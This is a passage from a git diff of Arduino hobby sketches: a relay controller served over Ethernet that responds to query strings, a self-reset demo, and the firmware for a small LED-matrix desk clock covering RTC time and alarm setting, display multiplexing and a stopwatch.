client = server.available(); + + if (client) + { + Serial.println(F("new client")); + readString = ""; + + while (client.connected()) + { + if (client.available()) + { + char c = client.read(); + Serial.write(c); + if (readString.length() < 100) + readString += (c); + + // Check serverInputs + if (c == '\n') + { + if (readString.indexOf("GET") != -1) + { + if (readString.indexOf("?1") != -1) + cmd = 1; + if (readString.indexOf("?2") != -1) + cmd = 2; + if (readString.indexOf("?3") != -1) + cmd = 3; + if (readString.indexOf("?4") != -1) + cmd = 4; + if (readString.indexOf("?5") != -1) + cmd = 5; + if (readString.indexOf("?6") != -1) + cmd = 6; + if (readString.indexOf("?7") != -1) + cmd = 7; + if (readString.indexOf("?8") != -1) + cmd = 8; + if (readString.indexOf("?9") != -1) + cmd = 9; + if (readString.indexOf("?10") != -1) + cmd = 10; + } + //Serial.println(cmd); + if (readString.length() >= 2) + { + changeState(cmd); + Serial.println(F("Sending web page")); + SendWebPage(client); + Serial.println(F("Web page sent!")); + cmd = 0; + break; + } + readString = ""; + } + } + } + Serial.println(F("Delay before disconnecting")); + delay(50); + client.stop(); + Serial.println(F("Client disconnected")); + } +} + +void changeState(int n) +{ + Serial.println(n); + if (n > 0 && n <= 4) + { + Serial.println(F("Activate Button")); + digitalWrite(relayPins[n - 1], HIGH); + } + else if (n > 4 && n <= 8) + { + Serial.println(F("Activate Button")); + digitalWrite(relayPins[n - 5], LOW); + } + else if (n == 9) + { + Serial.println(F("Activate Button")); + speakerServo.write(156); + delay(500); + speakerServo.write(140); + } + else if (n == 10) + { + Serial.println(F("Activate Button")); + // Do something + } +} + +void checkButtons() +{ + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch (i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + speakerServo.write(156); + delay(500); + speakerServo.write(140); + break; + default: + relayChange(i); + break; + } + } + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + } + } +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} + +void SendWebPage(EthernetClient client) +{ + client.println(F("HTTP/1.1 200 OK")); + client.println(F("Content-Type: text/html")); + client.println(F("Connection: close")); + client.println(); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("RelayController")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("
")); + client.println(F("
RelayController

")); + + // Buttons + if (digitalRead(relayPins[0]) == LOW) + client.println(F("")); + else + client.println(F("")); + if (digitalRead(relayPins[1]) == LOW) + client.println(F("

")); + else + client.println(F("

")); + if (digitalRead(relayPins[2]) == LOW) + client.println(F("")); + else + client.println(F("")); + if (digitalRead(relayPins[3]) == LOW) + client.println(F("

")); + else + client.println(F("

")); + + client.println(F("")); + client.println(F("

")); + + client.println(F("
")); + client.println(F("")); + client.println(F("")); + client.println(""); +} + diff --git a/Projects/Reset/Reset.ino b/Projects/Reset/Reset.ino new file mode 100755 index 0000000..368bba1 --- /dev/null +++ b/Projects/Reset/Reset.ino @@ -0,0 +1,31 @@ +int led = 13;//pin 13 as OUTPUT LED pin +int resetPin = 3; +// the setup routine runs once when you press reset: +void setup() { + digitalWrite(resetPin, LOW); + delay(200); + // initialize the digital pin as an output. + pinMode(led, OUTPUT); + pinMode(resetPin, OUTPUT); + Serial.begin(9600);//initialize Serial Port + Serial.println("reset");//print reset to know the program has been reset and + //the setup function happened + delay(200); +} + +// the loop routine runs over and over again forever: +void loop() { + delay(10); + digitalWrite(led, LOW); // turn the LED on (HIGH is the voltage level) + Serial.println("on"); + delay(1000); // wait for a second + digitalWrite(led, HIGH); // turn the LED off by making the voltage LOW + Serial.println("off"); + delay(1000); // wait for a second + Serial.println("resetting"); + delay(10); + digitalWrite(resetPin, HIGH); + Serial.println("this never happens"); + //this never happens because Arduino resets + +} diff --git a/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino b/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino new file mode 100644 index 0000000..4c81af8 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino @@ -0,0 +1,222 @@ +//******************************************************************************************************************* +// Main Loop +//******************************************************************************************************************* +void loop() +{ + // Test for Sleep ------------------------------------------------* + + currentMillis = millis(); + OptionModeFlag = false; + + if(((currentMillis - SleepTimer) > SleepLimit) && SleepEnable) + { + + if(STATE= 1) // New for ST Desk Clock - goto Time vs Sleep + { + SUBSTATE = 1; + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + }else + { + STATE= 1; // was STATE= 99; + SUBSTATE = 0; + } + + SleepTimer = millis(); + + } + + // Test for Mode Button Press ------------------------------------* + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + if(ALARMON) + { + CheckAlarm(); + } + + if(ALARM1FLAG) + { + ALARM1FLAG = false; + ALARMON = false; + EnableAlarm1(false); + STATE = 90; + JustWokeUpFlag = false; + } + else + { + if(JustWokeUpFlag) + { + JustWokeUpFlag = false; + JustWokeUpFlag2 = true; // Used to supress "Time" text from showing when waking up. + } + else + { + NextStateRequest = true; + } + // SUBSTATE = 99; + + while(bval) + { + bval = !digitalRead(SETBUTTON); + if(bval) + { + OptionModeFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + displayString("SPEC"); + delay(300); + } + bval = !digitalRead(MODEBUTTON); + } + + delay(100); + SleepTimer = millis(); + } + } + + // Test for SET Button Press ------------------------------------* + + bval = !digitalRead(SETBUTTON); + if(bval && !OptionModeFlag) + { + NextSUBStateRequest = true; + + while(bval) + { + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + OptionModeFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + displayString("SPEC"); + delay(300); + } + + + bval = !digitalRead(SETBUTTON); + } + delay(100); + SleepTimer = millis(); + } + + // Running Blink counter ------------------------------------* + if(blinkFlag) + { + blinkCounter = blinkCounter +1; + if(blinkCounter >blinkTime) // was 150 + { + blinkON = !blinkON; + blinkCounter = 0; + } + } + else + { + blinkON = true; // Not blinking, just leave the LEDs lit + } + +//******************************************************************************************************************* +// Main Loop - State Machine +//******************************************************************************************************************* + + switch (STATE) + { + case 0: // Set-Up + STATE = 1; + break; + + case 1: // Display Time + DisplayTimeSub(); + break; + + case 2: // Set Time + setAlarmSub(); + break; + + case 3: // Config Alarm + setTimeSub(); + break; + + case 4: // Stop Watch + StopWatch(); + break; + + + case 5: // Serial Display + DisplaySerialData(); + break; + + case 6: // Graphic Demo + graphican(); + break; + + // --------------------------------------------------------------- + + case 90: // Alarm Triggered + + blinkFlag = true; + displayString("Beep"); + + if(blinkON) + { + pinMode(SETBUTTON, OUTPUT); + tone(SETBUTTON,4000) ; + delay(100); + noTone(SETBUTTON); + digitalWrite(SETBUTTON, HIGH); + } + + #if ARDUINO >= 101 + pinMode(SETBUTTON, INPUT_PULLUP); +// digitalWrite(SETBUTTON, HIGH); + #else +// digitalWrite(SETBUTTON, HIGH); + pinMode(SETBUTTON, INPUT); + #endif + delay(250); + +// bval = !digitalRead(SETBUTTON); + if(NextSUBStateRequest | NextStateRequest) + { + STATE = 0; + SUBSTATE = 0; + // NextStateFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + blinkFlag = false; + } + break; + + // --------------------------------------------------------------- + + case 99: // Sleep + displayString("Nite"); + delay(500); + clearmatrix(); + GoToSleep(); + SleepTimer = millis(); + STATE = 0; + SUBSTATE = 0; + break; + + // --------------------------------------------------------------- + + } +} + + +//******************************************************************************************************************* +// End of Main Loop +//******************************************************************************************************************* + + + + + + + diff --git a/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino b/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino new file mode 100644 index 0000000..ab806d9 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino @@ -0,0 +1,170 @@ + //******************************************************************************************************************* +// Called by Timer 1 Interrupt to draw next column in LED matrix +//******************************************************************************************************************* +// Only light one ROW (and one column) ie one pixel at a time. = lower current draw, but lower refresh rate. + + +void LEDupdateTWO() // ONE ROW of selected column at a time +{ + + if(ROWBITINDEX >6) + { + Mcolumn = Mcolumn+1; // Prep for next column + if(Mcolumn >19) + { + Mcolumn =0; + } + + PORTB = (PORTB & B10000000); // Clear last column + PORTC = (PORTC & B11110000) | B00001111; + + if(Mcolumn <16) // Matrix column (from 0 to 19) + { + PORTB = (PORTB & B01111111); //| (0<19) + { + Mcolumn =0; + } +} + +//******************************************************************************************************************* +// Used by STII Small Desk Clock +//******************************************************************************************************************* +// Only light one ROW (and one column) ie one pixel at a time. = lower current draw, but lower refresh rate. + + +// Where: +// PORTC2 - S1 (ADC1) +// PORTC3 - S2 (ADC2) +// When S1=H and S2=L Decoder 1 = Selected +// When S1=L and S2=H Decoder 2 = Selected +// When S1=L and S2=L Decoder 3 = Selected +// When S1=H and S2=H None Selected = all columns are OFF + +// PORTD4 - A +// PORTD5 - B +// PORTD6 - C +// PORTD7 - Free pin (only with the "Small desk clock") + +// PORTB 0 to 6 = ROWS 1 to 7 + +void LEDupdateTHREE() // ONE ROW of selected column at a time +{ + + if(ROWBITINDEX >6) + { + ROWBITINDEX = 0; + + Mcolumn = Mcolumn+1; // Prep for next column + if(Mcolumn >19) + { + Mcolumn =0; + } + +// PORTB = (PORTB & B10000000); // Clear last column + PORTB = (PORTB & B10000000); + PORTC = (PORTC & B11110011) | B00001100; // Turn off decoders + + + + if(Mcolumn < 8) // Matrix column (from 0 to 7) + { + PORTD = (PORTD & B10001111) | (Mcolumn << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011) | B00000100; // Select Chip 1 + } + + if(Mcolumn > 7 && Mcolumn < 16) + { + PORTD = (PORTD & B10001111) | ((Mcolumn - 8) << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011) | B00001000; // Select Chip 2 + } + + if(Mcolumn > 15) + { + PORTD = (PORTD & B10001111) | ((Mcolumn - 16) << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011); // Select Chip 3 + } + } + else + { +// PORTB = (PORTB & B10000000); + PORTB = (PORTB & B10000000); + if(bitRead(LEDMAT[Mcolumn],ROWBITINDEX)) + { + // PORTB = (PORTB & B10000000); + bitSet(PORTB,ROWBITINDEX); + } + + ROWBITINDEX = ROWBITINDEX +1; + + delayMicroseconds(50); // Test to see if this makes LEDs brighter + } +} + + diff --git a/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino b/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino new file mode 100644 index 0000000..526e15c --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino @@ -0,0 +1,526 @@ +//******************************************************************************************************************* +// Check Time +//******************************************************************************************************************* +void checktime() +{ + uint8_t temp =0; + + I2C_RX(RTCDS1337,RTC_SEC); + SecOnes = i2cData & B00001111; // + + SecTens = i2cData & B01110000; // + SecTens = SecTens >> 4; + + + I2C_RX(RTCDS1337,RTC_MIN); + MinOnes = i2cData & B00001111; // + + MinTens = i2cData & B01110000; // + MinTens = MinTens >> 4; + + I2C_RX(RTCDS1337,RTC_HOUR); + HourOnes = i2cData & B00001111; // + + TH_Not24_flag = bitRead(i2cData, 6); // False on RTC when 24 mode selected + PM_NotAM_flag = bitRead(i2cData, 5); + + if(TH_Not24_flag == true) + { + HourTens = i2cData & B00010000; // + HourTens = HourTens >> 4; + + } + else + { + HourTens = i2cData & B00110000; // + HourTens = HourTens >> 4; + } +} + +//******************************************************************************************************************* +// Check Date +//******************************************************************************************************************* +void checkDate() +{ + + int temp = 0; + I2C_RX(RTCDS1337,RTC_DAY); + Days = i2cData & B00000111; // + + I2C_RX(RTCDS1337,RTC_MONTH); + MonthCode = i2cData & B00001111; // + + temp = (i2cData & B00010000) >> 4; + if(temp) + { + MonthCode = MonthCode +10; // Convert BCD month into interger month + } + + I2C_RX(RTCDS1337,RTC_DATE); + DateOnes = i2cData & B00001111; // + DateTens = (i2cData & B00110000) >> 4; + +} + + +//******************************************************************************************************************* +// SET Time - NEW +//******************************************************************************************************************* + +void settimeNEW(uint8_t setselect) // both min digits or both hour digits (advance one at a time) +{ + uint8_t temp =0; + switch(setselect) + { + + case 1: + MinOnes = MinOnes +1; + if(MinOnes >9) + { + MinOnes = 0; + + MinTens = MinTens +1; + if(MinTens >5) + { + MinTens = 0; + } + + // temp = (MinTens << 4) + MinOnes; + // I2C_TX(RTCDS1337,RTC_MIN,temp); + } + + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_MIN,temp); + break; + + + // ----------------------------------------------- + + case 2: + HourOnes = HourOnes +1; + + if(TH_Not24_flag) +// 12 hours mode increment + { + + if(HourOnes >9 ) + { + HourOnes = 0; + HourTens = 1; + } + + if((HourOnes ==2) && (HourTens == 1)) + { + PM_NotAM_flag = !PM_NotAM_flag; + } + + if((HourOnes >2) && (HourTens == 1)) + { +// PM_NotAM_flag = !PM_NotAM_flag; + HourTens = 0; + HourOnes = 1; + } + + } + else +// 24 hours mode increment - S + { + + if((HourOnes >9) && (HourTens < 2)) + { + HourOnes = 0; + HourTens = HourTens +1; + } + + if((HourTens ==2) && (HourOnes == 4)) + { + HourOnes = 0; + HourTens = 0; + } + } +// 24 hours mode increment - E + + temp = (HourTens << 4) + HourOnes; + if(TH_Not24_flag) + { + bitWrite(temp, 5, PM_NotAM_flag); + } + + bitWrite(temp, 6, TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_HOUR,temp); + break; + + case 3: + Days = Days +1 ; + if(Days>7) + { + Days = 1; + } + temp = Days & B00000111; // + I2C_TX(RTCDS1337,RTC_DAY,temp); + break; + + case 4: + temp = 0; + MonthCode = MonthCode +1 ; + if(MonthCode >12) + { + MonthCode = 1; + } + if(MonthCode>9) + { + temp = MonthCode - 10; + // MonthCode = MonthCode & B00001111; + bitSet(temp, 4); // Convert int to BCD + } + else + { + temp = MonthCode & B00001111; + } + + I2C_TX(RTCDS1337,RTC_MONTH,temp); + break; + + case 5: // Date + + // I2C_RX(RTCDS1337,RTC_DATE); + // DateOnes = i2cData & B00001111; + // DateTens = (i2cData & B00110000) >> 4; + DateOnes = DateOnes + 1; + if((DateTens == 3) && (DateOnes > 1)) + { + DateOnes = 1; + DateTens =0; + } + else + { + if(DateOnes>9) + { + DateOnes = 0; + DateTens = DateTens +1; + } + } + temp = (DateOnes & B00001111) | ((DateTens << 4) & B00110000); + I2C_TX(RTCDS1337,RTC_DATE,temp); + break; + + case 6: // year + break; + } +} + +//******************************************************************************************************************* +// 12:00 Start Time +//******************************************************************************************************************* + +void SetStartTime() +{ + uint8_t temp =0; + + HourTens = 1; + HourOnes = 2; + temp = (HourTens << 4) + HourOnes; + bitWrite(temp, 5, PM_NotAM_flag); + bitWrite(temp, 6, TH_Not24_flag); + + I2C_TX(RTCDS1337,RTC_HOUR,temp); + + MinTens = 0; + MinOnes = 0; + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_MIN,temp); +} + +//******************************************************************************************************************* +// SET Alarm +//******************************************************************************************************************* + +void SetAlarmTime() // Just for testing set to 12:01 PM +{ + uint8_t temp =0; + + HourTens = 1; + HourOnes = 2; + temp = (HourTens << 4) + HourOnes; + bitWrite(temp, 5, A_PM_NotAM_flag); + bitWrite(temp, 6, A_TH_Not24_flag); + + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + + MinTens = 0; + MinOnes = 1; + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + + +} + +//******************************************************************************************************************* +// Check Alarm +//******************************************************************************************************************* + +void CheckAlarm() +{ + uint8_t temp =0; + I2C_RX(RTCDS1337,RTCSTATUS); + ALARM1FLAG = bitRead(i2cData, 0); + + if(ALARM1FLAG) + { + temp =i2cData; + bitClear(temp, 0); + I2C_TX(RTCDS1337,RTCSTATUS,temp); + } + +} + +//******************************************************************************************************************* +// Enable Alarm +//******************************************************************************************************************* + +void EnableAlarm1(boolean onoff) // Trigger on Hours & Minutes Match +{ + uint8_t temp =0; + + // Adjust for Hours - Minutes Trigger -S + I2C_RX(RTCDS1337,RTC_ALARM1SEC); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1SEC,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1MIN); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1HOUR); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1DATE); + temp =i2cData; + bitSet(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1DATE,temp); + // Adjust for Hours - Minutes Trigger -E + + I2C_RX(RTCDS1337,RTCCONT); // Enable Alarm Pin on RTC + temp =i2cData; + + if(onoff) + { + bitSet(temp, 0); + } + else + { + bitClear(temp, 0); + } + I2C_TX(RTCDS1337,RTCCONT,temp); + + I2C_RX(RTCDS1337,RTCSTATUS); // Clear Alarm RTC internal Alarm Flag + temp =i2cData; + bitClear(temp, 0); + I2C_TX(RTCDS1337,RTCSTATUS,temp); +} +//******************************************************************************************************************* +// SET ALARM TIME +//******************************************************************************************************************* + +void setAlarm(uint8_t setselect) // both min digits or both hour digits (advance one at a time) +{ + uint8_t temp =0; + switch(setselect) + { + + case 1: + AMinOnes = AMinOnes +1; + if(AMinOnes >9) + { + AMinOnes = 0; + + AMinTens = AMinTens +1; + if(AMinTens >5) + { + AMinTens = 0; + } + } + + temp = (AMinTens << 4) + AMinOnes; + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + break; + + + case 2: + AHourOnes = AHourOnes +1; + +// -----------* + if(A_TH_Not24_flag) +// 12 hours mode increment + { + + if(AHourOnes >9 ) + { + AHourOnes = 0; + AHourTens = 1; + } + + if((AHourOnes ==2) && (AHourTens == 1)) + { + A_PM_NotAM_flag = !A_PM_NotAM_flag; + } + + if((AHourOnes >2) && (AHourTens == 1)) + { +// PM_NotAM_flag = !PM_NotAM_flag; + AHourTens = 0; + AHourOnes = 1; + } + + } + else +// 24 hours mode increment - S + { + + if((AHourOnes >9) && (AHourTens < 2)) + { + AHourOnes = 0; + AHourTens = AHourTens +1; + } + + if((AHourTens ==2) && (AHourOnes == 4)) + { + AHourOnes = 0; + AHourTens = 0; + } + } +// 24 hours mode increment - E +// -----------* + +/* + if(AHourOnes >9) + { + AHourOnes = 0; + AHourTens = AHourTens +1; + if((AHourTens >1) && (A_TH_Not24_flag)) + { + AHourTens = 0; + } + else + { + if(AHourTens >2) + { + AHourTens = 0; + } + } + } +*/ + temp = (AHourTens << 4) + AHourOnes; + if(A_TH_Not24_flag) + { + bitWrite(temp, 5, A_PM_NotAM_flag); + } + + bitWrite(temp, 6, A_TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + break; + } + +} + +//******************************************************************************************************************* +// Toggle Twelve and Twenty Four hour time +//******************************************************************************************************************* + +void TwelveTwentyFourConvert() +{ + + int temphours = 0; + int temp = 0; + + I2C_RX(RTCDS1337,RTC_HOUR); + HourOnes = i2cData & B00001111; // + + // TH_Not24_flag = bitRead(i2cData, 6); // False on RTC when 24 mode selected + // PM_NotAM_flag = bitRead(i2cData, 5); + + if(TH_Not24_flag) + { + HourTens = i2cData & B00010000; // + HourTens = HourTens >> 4; + + } + else + { + HourTens = i2cData & B00110000; // + HourTens = HourTens >> 4; + } + + temphours = HourOnes + (HourTens*10); // 12 .... 1.2.3...12 or 0 ..1.2.3. ...23 + + if(TH_Not24_flag != NewTimeFormate) + { + if(NewTimeFormate) // NewTimeFormate is same formate as TH_Not24_flag where H is 12 and LOW is 24 + { + // ---------------- 24 -> 12 + // Convert into 12 hour clock + if(temphours >= 12) + { + PM_NotAM_flag = true; // it is in the PM + if(temphours> 12) + { + temphours = temphours - 12; // Convert from 13:00 .... 23:00 to 1:00 ... 11:00 [Go from 23:59 / 13:00 to 12:00 to 1:00] ? + } + else + { + temphours = temphours; // do nothing it is 12:00 + } + } + else + { + PM_NotAM_flag = false; // it is in the AM - No other conversion needed + } + if(temphours == 0) + { + temphours = 12; + } + } + else + // ---------------- 12 -> 24 // Convert into 24 hour clock + { + if((PM_NotAM_flag == false) && (temphours == 12)) // AM only check for 00 hours + { + temphours = 0; + } + if(PM_NotAM_flag == true) + { // PM conversion + if(temphours != 12) // Leave 12 as 12 in 24h time + { + temphours = temphours + 12; + } + } + + } + + // Common finish conversion section + TH_Not24_flag = NewTimeFormate; + HourTens = temphours / 10; + HourOnes = temphours % 10; + + // --- + temp = (HourTens << 4) + HourOnes; + if(TH_Not24_flag) + { + bitWrite(temp, 5, PM_NotAM_flag); + } + + bitWrite(temp, 6, TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_HOUR,temp); + + // --- + + } + + +} + + diff --git a/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino b/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino new file mode 100644 index 0000000..6ad2919 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino @@ -0,0 +1,1449 @@ +//******************************************************************************************************************* +// Helper - State incrementor +//******************************************************************************************************************* +// Increments the Main state to the next state upto MAXSTATE +// If you add more States increase MAXSTATE to match. + +void NextState() +{ + STATE = STATE + 1; + SUBSTATE = 0; + NextStateRequest = false; + if(STATE > MAXSTATE) + { + STATE = 0; + SUBSTATE = 0; + } +} + + +//******************************************************************************************************************* +// Beep the piezo +//******************************************************************************************************************* +// NOTE: the piezo uses the same pin as the SET Button input +// This routine switches the pin to an output during the beeping process +// (There is a current limited resistor on the board to prevent over current if the Set Button is pressed at +// the same time as the pin is driving the piezo.) + +void beepsound(int freq, int freqlenght) +{ + // freq was 4000 + // freqlenght was 100 + pinMode(SETBUTTON, OUTPUT); + tone(SETBUTTON,freq,freqlenght); + delay(freqlenght); + noTone(SETBUTTON); + digitalWrite(SETBUTTON, HIGH); + + #if ARDUINO >= 101 + pinMode(SETBUTTON, INPUT_PULLUP); +// digitalWrite(SETBUTTON, HIGH); + #else +// digitalWrite(SETBUTTON, HIGH); + pinMode(SETBUTTON, INPUT); + #endif + +} + +//******************************************************************************************************************* +// Display Time Routine +//******************************************************************************************************************* +void DisplayTimeSub() +{ + + if(NextStateRequest) + { + SUBSTATE =99; + } + + if(NextSUBStateRequest) + { + SUBSTATE = SUBSTATE +1; + if(SUBSTATE>4) + { + SUBSTATE =1; + } + NextSUBStateRequest = false; + } + + UpdateTime = UpdateTime + 1; + if(UpdateTime > 2000) + { + checktime(); + checkDate(); + UpdateTime = 0; + } + + + switch (SUBSTATE) + { + case 0: // Start Display Time + SUBSTATE = 1; + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + + checktime(); + checkDate(); + + if(!JustWokeUpFlag2) + { + displayString("Time"); + } + else + { + JustWokeUpFlag2 = false; + } + delay(250); + break; + + case 1: // Time + +// checktime(); + writeTime(HourTens, HourOnes, MinTens, MinOnes); + break; + + case 2: // Day + // checkDate(); + displayStringDay(Days -1); + break; + + case 3: // Month + // checkDate(); + displayMonth(MonthCode-1); + break; + + case 4: // Date + // checkDate(); + displayDate(); + delay(100); + break; + + case 5: // Year + + break; + + case 99: // Exit Display Time + + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// SET Time Routine +//******************************************************************************************************************* +void setTimeSub() +{ + + + switch (SUBSTATE) + { + case 0: // Start SET Time + clearmatrix(); + displayString("Set?"); + SUBSTATE = 1; + NextSUBStateRequest = false; + + + break; + + case 1: // Ask user if they want to set time + if(NextSUBStateRequest) + { + SUBSTATE = 2; + NextSUBStateRequest = false; + blinkFlag = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: // Minute + one + // displayString("----"); + blinkMin = true; + writeTime(HourTens, HourOnes, MinTens, MinOnes); + if(NextSUBStateRequest) + { + settimeNEW(1); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =3; + NextStateRequest = false; + } + break; + + case 3: // Hours + one + blinkHour = true; + writeTime(HourTens, HourOnes, MinTens, MinOnes); + if(NextSUBStateRequest) + { + settimeNEW(2); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkHour = false; + SUBSTATE =4; + NextStateRequest = false; + } + + break; + + case 4: // Day + one + displayStringDay(Days -1); + if(NextSUBStateRequest) + { + settimeNEW(3); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =5; + NextStateRequest = false; + } + + break; + + case 5: // Month + one + displayMonth(MonthCode-1); + if(NextSUBStateRequest) + { + settimeNEW(4); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =6; + NextStateRequest = false; + } + break; + + case 6: // Date + one + displayDate(); + if(NextSUBStateRequest) + { + settimeNEW(5); + NextSUBStateRequest = false; + } + if(NextStateRequest) + { + SUBSTATE =8; + NextStateRequest = false; + } + break; + + /* + case 7: // Year + one ** NOTE: not used + displayString("Year"); + + if(NextSUBStateRequest) + { + settimeNEW(6); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =8; + NextStateRequest = false; + } + break; + */ + + case 8: + NewTimeFormate = TH_Not24_flag; // Pre-set before toggle + SUBSTATE =9; + break; + + + case 9: // Select 12 or 24 hour clock + + if(NewTimeFormate) + { + displayString("12 h"); + } + else + { + displayString("24 h"); + } + + if(NextSUBStateRequest) + { + NewTimeFormate = !NewTimeFormate; + NextSUBStateRequest = false; + TwelveTwentyFourConvert(); + A_TH_Not24_flag = NewTimeFormate; + } + + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 99: // Exit Set Time + blinkFlag = false; + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// SET Alarm Routine +//******************************************************************************************************************* +void setAlarmSub() +{ + + + switch (SUBSTATE) + { + case 0: // Start SET Alarm + clearmatrix(); + displayString("ALM?"); + SUBSTATE = 1; + NextSUBStateRequest = false; + + + break; + + case 1: // Ask user if they want to set Alarm + if(NextSUBStateRequest) + { + // displayString("A ON"); + // delay(250); + // ALARMON = true; + SUBSTATE = 2; + NextSUBStateRequest = false; + blinkFlag = true; + } + + if(NextStateRequest) + { + // displayString("AOFF"); + // delay(500); + // EnableAlarm1(false); + // ALARMON = false; + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: + blinkMin = true; + writeTime(AHourTens, AHourOnes, AMinTens, AMinOnes); + if(NextSUBStateRequest) + { + setAlarm(1); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =3; + NextStateRequest = false; + } + break; + + case 3: + blinkHour = true; + writeTime(AHourTens, AHourOnes, AMinTens, AMinOnes); + if(NextSUBStateRequest) + { + setAlarm(2); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =4; + NextStateRequest = false; + // EnableAlarm1(true); + } + break; + + case 4: + if(ALARMON) + { +// displayString("A ON"); + displayGraphic(1,0,5); + displayGraphic(2,5,5); + displayGraphic(0,10,4); + displayGraphic(3,14,5); + } + else + { +// displayString("AOFF"); + displayGraphic(1,0,5); + displayGraphic(2,5,5); + displayGraphic(0,10,4); + displayGraphic(4,14,5); + } + + if(NextSUBStateRequest) + { + ALARMON = !ALARMON; + NextSUBStateRequest = false; + } + + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =99; + NextStateRequest = false; + if(ALARMON) + { + EnableAlarm1(true); + } + else + { + EnableAlarm1(false); + } + } + + break; + + case 99: // Exit Set Alarm + blinkFlag = false; + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// Stop Watch +//******************************************************************************************************************* +void StopWatch() +{ + + switch (SUBSTATE) + { + case 0: // Stop Watch Set-up + + + + OldTime = 0; + CurrentTime = 0; + TotalTime = 0; + SWDigit4 = 0; + SWDigit3 = 0; + SWDigit2 = 0; + SWDigit1 = 0; + + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + + SUBSTATE = 1; + NextSUBStateRequest = false; + displayString("Stop"); + delay(500); + + clearmatrix(); + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + break; + + case 1: // Waiting for "Start" button to be pressed + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 2; + NextSUBStateRequest = false; + SleepEnable = false; + currentMillis = millis(); + SleepTimer = currentMillis; // Using Long SleepTimer variable for timing not sleep + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: // Stop Watch Running + + // I2C_RX(RTCDS1337,RTC_SEC); + // CurrentTime =i2cData & B00001111; + currentMillis = millis(); + if((currentMillis - SleepTimer) >= 1000) + { + // OldTime = CurrentTime; + SleepTimer = currentMillis; + TotalTime = TotalTime + 1; + if(TotalTime > 5999) // Over 99 minutes can "not" be displayed (60seconds x 99 = 5940) + { + TotalTime = 0; + } + } + + // Convert Total Time to digits + SWMINUTES = TotalTime / 60; + SWSECONDS = TotalTime % 60; + + SWDigit4 = SWMINUTES / 10; + SWDigit3 = SWMINUTES % 10; + SWDigit2 = SWSECONDS / 10; + SWDigit1 = SWSECONDS % 10; + + writeTime(SWDigit4, 